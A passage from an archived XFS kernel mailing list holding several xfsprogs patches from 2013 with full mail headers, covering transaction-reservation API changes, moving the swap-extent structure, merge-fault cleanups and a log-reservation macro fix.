XFS_DATA_FORK) - 1), 0, 0, 0, 0))) + i = libxfs_trans_reserve(tp, &tres, mp->m_sb.sb_rbmblocks + + (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0); + if (i) res_failed(i); + libxfs_trans_ijoin(tp, rbmip, 0); libxfs_trans_ihold(tp, rbmip); bno = 0; @@ -696,9 +703,9 @@ rtinit( */ tp = libxfs_trans_alloc(mp, 0); nsumblocks = mp->m_rsumsize >> mp->m_sb.sb_blocklog; - if ((i = libxfs_trans_reserve(tp, - nsumblocks + (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), - 0, 0, 0, 0))) + i = libxfs_trans_reserve(tp, &tres, nsumblocks + + (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0); + if (i) res_failed(i); libxfs_trans_ijoin(tp, rsumip, 0); libxfs_trans_ihold(tp, rsumip); @@ -733,7 +740,8 @@ rtinit( */ for (bno = 0; bno < mp->m_sb.sb_rextents; bno = ebno) { tp = libxfs_trans_alloc(mp, 0); - if ((i = libxfs_trans_reserve(tp, 0, 0, 0, 0, 0))) + i = libxfs_trans_reserve(tp, &tres, 0, 0); + if (i) res_failed(i); libxfs_trans_ijoin(tp, rbmip, 0); libxfs_trans_ihold(tp, rbmip); diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 4bdacee..6e243ab 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2821,6 +2821,7 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), for (agno = 0; agno < agcount; agno++) { xfs_alloc_arg_t args; xfs_trans_t *tp; + struct xfs_trans_res tres = {0}; memset(&args, 0, sizeof(args)); args.tp = tp = libxfs_trans_alloc(mp, 0); @@ -2828,8 +2829,10 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), args.agno = agno; args.alignment = 1; args.pag = xfs_perag_get(mp,agno); - if ((c = libxfs_trans_reserve(tp, worst_freelist, 0, 0, 0, 0))) + c = libxfs_trans_reserve(tp, &tres, worst_freelist, 0); + if (c) res_failed(c); + libxfs_alloc_fix_freelist(&args, 0); xfs_perag_put(args.pag); libxfs_trans_commit(tp, 0); diff --git a/repair/phase5.c b/repair/phase5.c index d61e19f..77eb125 100644 --- a/repair/phase5.c +++ b/repair/phase5.c @@ -1405,6 +1405,7 @@ build_agf_agfl(xfs_mount_t *mp, { xfs_alloc_arg_t args; xfs_trans_t *tp; + struct xfs_trans_res tres = {0}; memset(&args, 0, sizeof(args)); args.tp = tp = libxfs_trans_alloc(mp, 0); @@ -1412,7 +1413,7 @@ build_agf_agfl(xfs_mount_t *mp, args.agno = agno; args.alignment = 1; args.pag = xfs_perag_get(mp,agno); - libxfs_trans_reserve(tp, XFS_MIN_FREELIST(agf, mp), 0, 0, 0, 0); + libxfs_trans_reserve(tp, &tres, XFS_MIN_FREELIST(agf, mp), 0); libxfs_alloc_fix_freelist(&args, 0); xfs_perag_put(args.pag); libxfs_trans_commit(tp, 0); diff --git a/repair/phase6.c b/repair/phase6.c index 65e6301..3dec573 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -429,13 +429,15 @@ mk_rbmino(xfs_mount_t *mp) xfs_bmbt_irec_t map[XFS_BMAP_MAX_NMAP]; int vers; int times; + struct xfs_trans_res tres = {0}; /* * first set up inode */ tp = libxfs_trans_alloc(mp, 0); - if ((i = libxfs_trans_reserve(tp, 10, 0, 0, 0, 0))) + i = libxfs_trans_reserve(tp, &tres, 10, 0); + if (i) res_failed(i); error = libxfs_trans_iget(mp, tp, mp->m_sb.sb_rbmino, 0, 0, &ip); @@ -490,8 +492,9 @@ mk_rbmino(xfs_mount_t *mp) * from mkfs) */ tp = libxfs_trans_alloc(mp, 0); - if ((error = libxfs_trans_reserve(tp, mp->m_sb.sb_rbmblocks + - (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0, 0, 0, 0))) + error = libxfs_trans_reserve(tp, &tres, mp->m_sb.sb_rbmblocks + + (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0); + if (error) res_failed(error); libxfs_trans_ijoin(tp, ip, 0); @@ -536,13 +539,15 @@ fill_rbmino(xfs_mount_t *mp) int error; xfs_dfiloff_t bno; xfs_bmbt_irec_t map; + struct xfs_trans_res tres = {0}; bmp = btmcompute; bno = 0; tp = libxfs_trans_alloc(mp, 0); - if ((error = libxfs_trans_reserve(tp, 10, 0, 0, 0, 0))) + error = libxfs_trans_reserve(tp, &tres, 10, 0); + if (error) res_failed(error); error = libxfs_trans_iget(mp, tp, mp->m_sb.sb_rbmino, 0, 0, &ip); @@ -605,6 +610,7 @@ fill_rsumino(xfs_mount_t *mp) xfs_dfiloff_t bno; xfs_dfiloff_t end_bno; xfs_bmbt_irec_t map; + struct xfs_trans_res tres = {0}; smp = sumcompute; bno = 0; @@ -612,7 +618,8 @@ fill_rsumino(xfs_mount_t *mp) tp = libxfs_trans_alloc(mp, 0); - if ((error = libxfs_trans_reserve(tp, 10, 0, 0, 0, 0))) + error = libxfs_trans_reserve(tp, &tres, 10, 0); + if (error) res_failed(error); error = libxfs_trans_iget(mp, tp, mp->m_sb.sb_rsumino, 0, 0, &ip); @@ -679,14 +686,15 @@ mk_rsumino(xfs_mount_t *mp) xfs_bmbt_irec_t map[XFS_BMAP_MAX_NMAP]; int vers; int times; + struct xfs_trans_res tres = {0}; /* * first set up inode */ tp = libxfs_trans_alloc(mp, 0); - if ((i = libxfs_trans_reserve(tp, 10, XFS_ICHANGE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_MKDIR_LOG_COUNT))) + i = libxfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 10, 0); + if (i) res_failed(i); error = libxfs_trans_iget(mp, tp, mp->m_sb.sb_rsumino, 0, 0, &ip); @@ -744,11 +752,12 @@ mk_rsumino(xfs_mount_t *mp) xfs_bmap_init(&flist, &first); nsumblocks = mp->m_rsumsize >> mp->m_sb.sb_blocklog; - if ((error = libxfs_trans_reserve(tp, - mp->m_sb.sb_rbmblocks + - (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), - BBTOB(128), 0, XFS_TRANS_PERM_LOG_RES, - XFS_DEFAULT_PERM_LOG_COUNT))) + tres.tr_logres = BBTOB(128); + tres.tr_logcount = XFS_DEFAULT_PERM_LOG_COUNT; + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = libxfs_trans_reserve(tp, &tres, mp->m_sb.sb_rbmblocks + + (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0); + if (error) res_failed(error); libxfs_trans_ijoin(tp, ip, 0); @@ -800,8 +809,8 @@ mk_root_dir(xfs_mount_t *mp) tp = libxfs_trans_alloc(mp, 0); ip = NULL; - if ((i = libxfs_trans_reserve(tp, 10, XFS_ICHANGE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_MKDIR_LOG_COUNT))) + i = libxfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 10, 0); + if (i) res_failed(i); error = libxfs_trans_iget(mp, tp, mp->m_sb.sb_rootino, 0, 0, &ip); @@ -906,8 +915,8 @@ mk_orphanage(xfs_mount_t *mp) xfs_bmap_init(&flist, &first); nres = XFS_MKDIR_SPACE_RES(mp, xname.len); - if ((i = libxfs_trans_reserve(tp, nres, XFS_MKDIR_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_MKDIR_LOG_COUNT))) + i = libxfs_trans_reserve(tp, &M_RES(mp)->tr_mkdir, nres, 0); + if (i) res_failed(i); /* @@ -1059,10 +1068,9 @@ mv_orphanage( if (err) { ASSERT(err == ENOENT); - if ((err = libxfs_trans_reserve(tp, nres, - XFS_RENAME_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_RENAME_LOG_COUNT))) + err = libxfs_trans_reserve(tp, &M_RES(mp)->tr_rename, + nres, 0); + if (err) do_error( _("space reservation failed (%d), filesystem may be out of space\n"), err); @@ -1103,10 +1111,9 @@ mv_orphanage( libxfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_SYNC); } else { - if ((err = libxfs_trans_reserve(tp, nres, - XFS_RENAME_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_RENAME_LOG_COUNT))) + err = libxfs_trans_reserve(tp, &M_RES(mp)->tr_rename, + nres, 0); + if (err) do_error( _("space reservation failed (%d), filesystem may be out of space\n"), err); @@ -1161,8 +1168,8 @@ mv_orphanage( * also accounted for in the create */ nres = XFS_DIRENTER_SPACE_RES(mp, xname.len); - err = libxfs_trans_reserve(tp, nres, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_REMOVE_LOG_COUNT); + err = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, + nres, 0); if (err) do_error( _("space reservation failed (%d), filesystem may be out of space\n"), @@ -1257,8 +1264,7 @@ longform_dir2_rebuild( tp = libxfs_trans_alloc(mp, 0); nres = XFS_REMOVE_SPACE_RES(mp); - error = libxfs_trans_reserve(tp, nres, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_REMOVE_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, nres, 0); if (error) res_failed(error); libxfs_trans_ijoin(tp, ip, 0); @@ -1298,8 +1304,8 @@ longform_dir2_rebuild( tp = libxfs_trans_alloc(mp, 0); nres = XFS_CREATE_SPACE_RES(mp, p->name.len); - error = libxfs_trans_reserve(tp, nres, XFS_CREATE_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, XFS_CREATE_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_create, + nres, 0); if (error) { do_warn( _("space reservation failed (%d), filesystem may be out of space\n"), @@ -1360,8 +1366,7 @@ dir2_kill_block( tp = libxfs_trans_alloc(mp, 0); nres = XFS_REMOVE_SPACE_RES(mp); - error = libxfs_trans_reserve(tp, nres, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_REMOVE_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, nres, 0); if (error) res_failed(error); libxfs_trans_ijoin(tp, ip, 0); @@ -1549,8 +1554,7 @@ longform_dir2_entry_check_data( freetab->nents = db + 1; tp = libxfs_trans_alloc(mp, 0); - error = libxfs_trans_reserve(tp, 0, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_REMOVE_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, 0, 0); if (error) res_failed(error); libxfs_trans_ijoin(tp, ip, 0); @@ -2607,10 +2611,8 @@ process_dir_inode( * new define in ourselves. */ nres = no_modify ? 0 : XFS_REMOVE_SPACE_RES(mp); - error = libxfs_trans_reserve(tp, nres, - XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_REMOVE_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, + nres, 0); if (error) res_failed(error); @@ -2658,8 +2660,7 @@ process_dir_inode( ASSERT(tp != NULL); nres = XFS_MKDIR_SPACE_RES(mp, 2); - error = libxfs_trans_reserve(tp, nres, XFS_MKDIR_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, XFS_MKDIR_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_mkdir, nres, 0); if (error) res_failed(error); @@ -2720,12 +2721,8 @@ process_dir_inode( ASSERT(tp != NULL); nres = XFS_MKDIR_SPACE_RES(mp, 1); - error = libxfs_trans_reserve(tp, nres, - XFS_MKDIR_LOG_RES(mp), - 0, - XFS_TRANS_PERM_LOG_RES, - XFS_MKDIR_LOG_COUNT); - + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_mkdir, + nres, 0); if (error) res_failed(error); diff --git a/repair/phase7.c b/repair/phase7.c index bd1668e..18f2d88 100644 --- a/repair/phase7.c +++ b/repair/phase7.c @@ -68,13 +68,12 @@ update_inode_nlinks( xfs_inode_t *ip; int error; int dirty; + int nres; tp = libxfs_trans_alloc(mp, XFS_TRANS_REMOVE); - error = libxfs_trans_reserve(tp, (no_modify ? 0 : 10), - XFS_REMOVE_LOG_RES(mp), 0, XFS_TRANS_PERM_LOG_RES, - XFS_REMOVE_LOG_COUNT); - + nres = no_modify ? 0 : 10; + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, nres, 0); ASSERT(error == 0); error = libxfs_trans_iget(mp, tp, ino, 0, 0, &ip); -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 987A029DFC for ; Wed, 4 Sep 2013 17:21:33 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 88C2D8F8033 for ; Wed, 4 Sep 2013 15:21:33 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0007-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id zkta0HAuSJt0AnIL for ; Wed, 04 Sep 2013 15:21:32 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBVYzCBgxOQMbGYgBujaUBAOiJIc3gzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:30 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dz-6E for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003tw-5b for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 35/55] xfs: move swap extent code to xfs_extent_ops Date: Thu, 5 Sep 2013 08:05:39 +1000 X-ASG-Orig-Subj: [PATCH 35/55] xfs: move swap extent code to xfs_extent_ops Message-Id: <1378332359-14737-36-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333291 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Swapping extents is clearly an extent operaiton, and it is not shared with userspace. Move the code to xfs_extent_ops.[ch], and the userspace ioctl structure definition to xfs_fs.h where most of the other ioctl structure definitions are. The means xfs_dfrag.h is no longer needed in userspace. Signed-off-by: Dave Chinner --- fsr/xfs_fsr.c | 1 - include/Makefile | 3 +-- include/xfs_dfrag.h | 53 ----------------------------------------------------- include/xfs_fs.h | 15 +++++++++++++++ 4 files changed, 16 insertions(+), 56 deletions(-) delete mode 100644 include/xfs_dfrag.h diff --git a/fsr/xfs_fsr.c b/fsr/xfs_fsr.c index 7e518c1..7596834 100644 --- a/fsr/xfs_fsr.c +++ b/fsr/xfs_fsr.c @@ -20,7 +20,6 @@ #include #include #include -#include #include #include #include diff --git a/include/Makefile b/include/Makefile index 45b8533..628a087 100644 --- a/include/Makefile +++ b/include/Makefile @@ -40,8 +40,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_sb.h \ xfs_trace.h \ xfs_trans_resv.h \ - xfs_trans_space.h \ - xfs_dfrag.h + xfs_trans_space.h HFILES = handle.h jdm.h xqm.h xfs.h xfs_fs.h xfs_types.h HFILES += $(PKG_PLATFORM).h diff --git a/include/xfs_dfrag.h b/include/xfs_dfrag.h deleted file mode 100644 index 20bdd93..0000000 --- a/include/xfs_dfrag.h +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright (c) 2000,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_DFRAG_H__ -#define __XFS_DFRAG_H__ - -/* - * Structure passed to xfs_swapext - */ - -typedef struct xfs_swapext -{ - __int64_t sx_version; /* version */ - __int64_t sx_fdtarget; /* fd of target file */ - __int64_t sx_fdtmp; /* fd of tmp file */ - xfs_off_t sx_offset; /* offset into file */ - xfs_off_t sx_length; /* leng from offset */ - char sx_pad[16]; /* pad space, unused */ - xfs_bstat_t sx_stat; /* stat of target b4 copy */ -} xfs_swapext_t; - -/* - * Version flag - */ -#define XFS_SX_VERSION 0 - -#ifdef __KERNEL__ -/* - * Prototypes for visible xfs_dfrag.c routines. - */ - -/* - * Syscall interface for xfs_swapext - */ -int xfs_swapext(struct xfs_swapext *sx); - -#endif /* __KERNEL__ */ - -#endif /* __XFS_DFRAG_H__ */ diff --git a/include/xfs_fs.h b/include/xfs_fs.h index 68c2e18..74b24b2 100644 --- a/include/xfs_fs.h +++ b/include/xfs_fs.h @@ -461,6 +461,21 @@ typedef struct xfs_handle { + (handle).ha_fid.fid_len) /* + * Structure passed to XFS_IOC_SWAPEXT + */ +typedef struct xfs_swapext +{ + __int64_t sx_version; /* version */ +#define XFS_SX_VERSION 0 + __int64_t sx_fdtarget; /* fd of target file */ + __int64_t sx_fdtmp; /* fd of tmp file */ + xfs_off_t sx_offset; /* offset into file */ + xfs_off_t sx_length; /* leng from offset */ + char sx_pad[16]; /* pad space, unused */ + xfs_bstat_t sx_stat; /* stat of target b4 copy */ +} xfs_swapext_t; + +/* * Flags for going down operation */ #define XFS_FSOP_GOING_FLAGS_DEFAULT 0x0 /* going down */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DC3F729E19 for ; Wed, 4 Sep 2013 17:21:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C3BDA304064 for ; Wed, 4 Sep 2013 15:21:33 -0700 (PDT) X-ASG-Debug-ID: 1378333283-04cb6c2e9fd581b0006-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id bptbWC4ByG8yBZhQ for ; Wed, 04 Sep 2013 15:21:32 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2j32EBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:30 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dc-Lw for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003w8-Kk for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 55/55] xfsprogs: cleanup miscellaneous merge faults Date: Thu, 5 Sep 2013 08:05:59 +1000 X-ASG-Orig-Subj: [PATCH 55/55] xfsprogs: cleanup miscellaneous merge faults Message-Id: <1378332359-14737-56-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333292 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Ben Myers * clean up a few extra tabs * xfs_buf_map->xfs_buf_ops in libxfs_readbuf and libxfs_readbuf_map args * don't call the write verifier twice * put the multithreaded scan_ags back Signed-off-by: Ben Myers Signed-off-by: Dave Chinner --- include/libxfs.h | 2 +- libxfs/rdwr.c | 20 ++------------------ repair/scan.c | 3 +-- 3 files changed, 4 insertions(+), 21 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 533d336..ffd83bf 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -589,7 +589,7 @@ typedef struct xfs_inode { xfs_mount_t *i_mount; /* fs mount struct ptr */ xfs_ino_t i_ino; /* inode number (agno/agino) */ struct xfs_imap i_imap; /* location for xfs_imap() */ - struct xfs_buftarg i_dev; /* dev for this inode */ + struct xfs_buftarg i_dev; /* dev for this inode */ xfs_ifork_t *i_afp; /* attribute fork pointer */ xfs_ifork_t i_df; /* data fork */ xfs_trans_t *i_transp; /* ptr to owning transaction */ diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 92a90f1..13dbd23 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -198,9 +198,9 @@ libxfs_log_header( #undef libxfs_putbuf xfs_buf_t *libxfs_readbuf(struct xfs_buftarg *, xfs_daddr_t, int, int, - const struct xfs_buf_map *); + const struct xfs_buf_ops *); xfs_buf_t *libxfs_readbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, - int, int, const struct xfs_buf_map *); + int, int, const struct xfs_buf_ops *); int libxfs_writebuf(xfs_buf_t *, int); xfs_buf_t *libxfs_getbuf(struct xfs_buftarg *, xfs_daddr_t, int); xfs_buf_t *libxfs_getbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, int); @@ -831,22 +831,6 @@ libxfs_writebufr(xfs_buf_t *bp) } } - /* - * clear any pre-existing error status on the buffer. This can occur if - * the buffer is corrupt on disk and the repair process doesn't clear - * the error before fixing and writing it back. - */ - bp->b_error = 0; - if (bp->b_ops) { - bp->b_ops->verify_write(bp); - if (bp->b_error) { - fprintf(stderr, - _("%s: write verifer failed on bno 0x%llx/0x%x\n"), - __func__, (long long)bp->b_bn, bp->b_bcount); - return bp->b_error; - } - } - if (!(bp->b_flags & LIBXFS_B_DISCONTIG)) { error = __write_buf(fd, bp->b_addr, bp->b_bcount, LIBXFS_BBTOOFF64(bp->b_bn), bp->b_flags); diff --git a/repair/scan.c b/repair/scan.c index 4f8bbef..49ed194 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -1370,8 +1370,7 @@ scan_ags( } memset(agcnts, 0, mp->m_sb.sb_agcount * sizeof(*agcnts)); - create_work_queue(&wq, mp, 1); - //create_work_queue(&wq, mp, scan_threads); + create_work_queue(&wq, mp, scan_threads); for (i = 0; i < mp->m_sb.sb_agcount; i++) queue_work(&wq, scan_ag, i, &agcnts[i]); -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 245A029E2C for ; Wed, 4 Sep 2013 17:21:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A7F7BAC003 for ; Wed, 4 Sep 2013 15:21:32 -0700 (PDT) X-ASG-Debug-ID: 1378333283-04cb6c2e9fd581b0005-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id aTclFfI7BYx6oiaC for ; Wed, 04 Sep 2013 15:21:31 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2jhWBaIQHA6IkhzeDMiqBLA Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:27 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDB-0007dv-62 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:05 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003uo-Bz for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 43/55] xfs: Make writeid transaction use tr_writeid Date: Thu, 5 Sep 2013 08:05:47 +1000 X-ASG-Orig-Subj: [PATCH 43/55] xfs: Make writeid transaction use tr_writeid Message-Id: <1378332359-14737-44-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333290 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu tr_writeid is defined at mp->m_resv structure, however, it does not really being used when it should be.. This patch changes it to tr_writeid to fetch the correct log reservation size. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- include/xfs_trans_resv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h index 326f17d..b8d5666 100644 --- a/include/xfs_trans_resv.h +++ b/include/xfs_trans_resv.h @@ -111,7 +111,7 @@ struct xfs_trans_resv { * as long as SWRITE logs the entire inode core */ #define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_fsyncts.tr_logres) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_writeid.tr_logres) #define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) #define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) #define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_resv.tr_attrinval.tr_logres) -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: 